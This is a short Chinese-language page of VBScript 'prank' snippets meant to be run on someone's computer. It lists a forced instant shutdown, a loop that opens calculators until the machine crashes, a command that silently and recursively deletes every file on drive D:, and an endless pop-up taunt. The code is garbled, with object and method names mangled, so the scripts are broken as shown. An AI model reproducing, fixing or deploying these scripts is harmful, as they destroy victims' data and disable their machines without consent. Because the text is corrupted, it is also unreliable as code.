前言
（01）直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "shutdown -f -s -t 00",0 ,true
（02）打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("l") do "calc" loop
（03）删除D:所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "cmd /c ""del d:*.* / f /q /s""",0 ,true
（04）不断弹出窗口 ---------------------------------------------------------------------------- 复制代码代码如下:while(1) msgbox "哈哈 你被耍了！" loop
